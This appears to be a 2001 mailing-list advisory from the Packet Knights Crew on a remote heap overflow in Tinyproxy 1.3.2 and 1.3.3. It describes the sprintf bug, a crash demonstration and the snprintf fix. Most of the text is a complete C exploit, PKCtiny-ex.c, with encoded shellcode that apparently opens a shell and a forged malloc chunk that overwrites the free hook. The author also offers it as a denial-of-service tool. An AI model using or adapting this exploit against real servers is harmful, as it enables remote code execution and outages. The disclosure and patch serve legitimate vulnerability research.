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[pkc] remote heap overflow in tinyproxy
From: cyrax () PKCREW ORG
Date: Wed, 17 Jan 2001 14:52:13 +0100

--- Packet Knights Advisory 002 ---
         ---pkc002.txt---


http://www.pkcrew.org

Author : |CyRaX| <cyrax () pkcrew org>

Application : Tinyproxy version 1.3.2 and 1.3.3

Type : heap buffer overflow

--- The Problem ---

Function http_err in utils.c :

int httperr(struct conn_s *connptr, int err, char *msg)
{
        char *outbuf;
[..]
        outbuf = xmalloc(BUFFER);
        sprintf(outbuf, premsg, err, msg, msg, err, msg, VERSION);


where BUFFER is defined 2048.
as you can see msg is copied 3 times into outbuf.. so we can overflow it.
We can write what we want in msg by putting something different from
"http://"; in the connect request

bash-2.03# telnet 0 8888
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
connect [lots of A]://
Connection closed by foreign host.



--- The solution ---

change the sprintf into snprintf:

snprintf(outbuf,BUFFER,premsg,err,msg,msg,err,msg,VERSION);

(authors were contacted)

--- The exploitation ---

Exploiting this program is hard. The problem is that nothing is allocated
between the malloc of our buf and the bugged sprintf. To exploit we must
overwrite any structure after our buf.. but in many cases there's nothing
after it. For some values of the size of the buffer that we send the target
is not at the end.. so we can overwrite something. Those values changes in
dependence of which distribution you run. Unfortunately for redhat 7.0 and
slackware I wasn't unable to hit correctly the struct. For the values that
make segfault free() the chunk is not hitted by a string that we're able
to control. I don't have more time to dedicate to this xploit. I include it so
if someone got more time can try it on other distros.
Anyway.. you can always use it as a dos.. setting a large buffsize:
the sprintf will segfault trying to write out of the heap.


--- PKCtiny-ex.c ---
/*
 * Exploit for tinyproxy 1.3.2 and 1.3.3
 * by |CyRaX| <cyrax () pkcrew org>
 * Packet Knights Crew - www.pkcrew.org
 * READ THE ADVISORY FIRST !
 * Greetz :
 *  bikappa: for some help
 *  all the pkc members expecially recidjvo, asynchro and cthulhu
 *  all the other friends
*/


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>

char jmps[]="\xeb\x0e";

char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90"
            "\x89\xe5"
            "\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
            "\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"
            "\x80\x46\x04\x01"
            "\x80\x06\x01"
            "\x89\x75"
            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
            "\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";

void usage();

void usage(){
   printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax () pkcrew org>\n");
   printf("Packet Knights Crew - http://www.pkcrew.org\n";);
   printf("please.. READ the advisory first!\n");
   printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");
   printf("buf_size is the size of the buf we send\n");
   printf("struct offset is the distance from the beginning of the buffer we send where we\n");
   printf("       we put the malloc chunk struct!\n");
   printf("free_hook is the address of the free_hook function pointer\n");
   printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");
   printf("          you can just hope to it a jump\n");
   printf("\nfree_hook and shellcode must be given in 0xaddress format\n");
   exit(0);
}

int main(int argc, char **argv){
   int s,i,err,pid[5];
   struct sockaddr_in dst;
   struct malloc_chunk{
      unsigned int ps;
      unsigned int sz;
      struct malloc_chunk *fd;
      struct malloc_chunk *bk;
   }mc;
   char *magic,*sndbuff;
   unsigned long FREE_HOOKZ,SHELLCODE;
   if(argc<5)usage();
   magic=(char *)malloc(atoi(argv[3])+1);
   sndbuff=(char *)malloc(atoi(argv[3])+30);
   memset(magic,'\x90',atoi(argv[3]));

   SHELLCODE=strtol(argv[6],NULL,16);
   FREE_HOOKZ=strtol(argv[5],NULL,16);


   dst.sin_addr.s_addr=inet_addr(argv[1]);
   dst.sin_port=htons(atoi(argv[2]));
   dst.sin_family=AF_INET;
   mc.ps=0xffffffff & ~1;
   mc.sz=0xffffffff;
   mc.fd=(struct malloc_chunk *)(SHELLCODE);
   mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);

   s=socket(AF_INET,SOCK_STREAM,0);
   connect(s,(struct sockaddr *)&dst,sizeof(dst));
   memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));

   if((atoi(argv[3])/2)<atoi(argv[4])){
      /* putting jmps and shellcode before the struct */
      for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){
         memcpy(magic+i,jmps,2);
      }
   }
   else {
      /* putting jmps and shellcode after the struct */
      for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){
         memcpy(magic+i,jmps,2);
      }
   }
   memcpy(magic+i,c0de,strlen(c0de));

   magic[atoi(argv[3])]=0;

   printf("strlen magic is %i\n",strlen(magic));
   sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;
   printf("shooting\n");
   err=send(s,sndbuff,strlen(sndbuff),0);
}

EOF


|CyRaX|
Member Of Packet Knights Crew
www.pkcrew.org


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